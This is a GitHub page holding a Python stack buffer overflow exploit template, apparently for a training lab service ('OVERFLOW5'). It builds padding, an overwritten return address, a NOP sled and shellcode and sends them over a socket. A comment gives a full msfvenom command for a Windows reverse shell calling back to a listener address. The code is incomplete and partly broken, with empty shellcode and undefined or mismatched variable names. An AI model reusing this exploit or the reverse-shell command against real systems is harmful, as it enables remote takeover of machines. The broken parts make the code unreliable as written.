-
Notifications
You must be signed in to change notification settings - Fork 19
/
exploit-template.py
executable file
·60 lines (43 loc) · 1.47 KB
/
exploit-template.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import socket, time, sys, struct, os
def send_data(data: bytes, timeout=5) -> None:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
if type(data) == str:
data = data.encode()
s.send(data)
s.recv(1024)
s.close()
def exploit(offset):
# shellcode here
# > msfvenom -p windows/shell_reverse_tcp LHOST=10.9.55.4 LPORT=443 EXITFUNC=thread -b "\x00\x08\x2c\xad" -f python -v shellcode
shellcode = b""
# EIP value to overwrite, without the 0x
eip_value = ""
padding = "A" * offset
eip = struct.pack("<I", int(eip_str, 16))
nops = binascii.unhexlify("90" * 32)
# only if 2nd stage payload required
# register = input("Enter payload register (esp): ").strip()
# assembly = asm(f"jmp {register}; add eax, 4")
# padding_offset = len(padding) - len(nops) + len(shellcode)
# buffer = nops + shellcode + padding[padding_offset:].encode() + eip + esp.encode()
buffer = padding.encode() + eip + nops + shellcode
try:
print("[+] exploiting.. ")
send_data(prefix + buffer + suffix)
except socket.timeout:
print("[-] Timed out")
def main():
global ip, port, timeout, prefix, suffix
ip = ""
port = 1337
timeout = 5
prefix = "OVERFLOW5 ".encode()
suffix = "\r\n".encode()
offset = 314
badchars = "\\x00\\x08\\x2c\\xad"
exploit(offset)
if __name__ == "__main__":
main()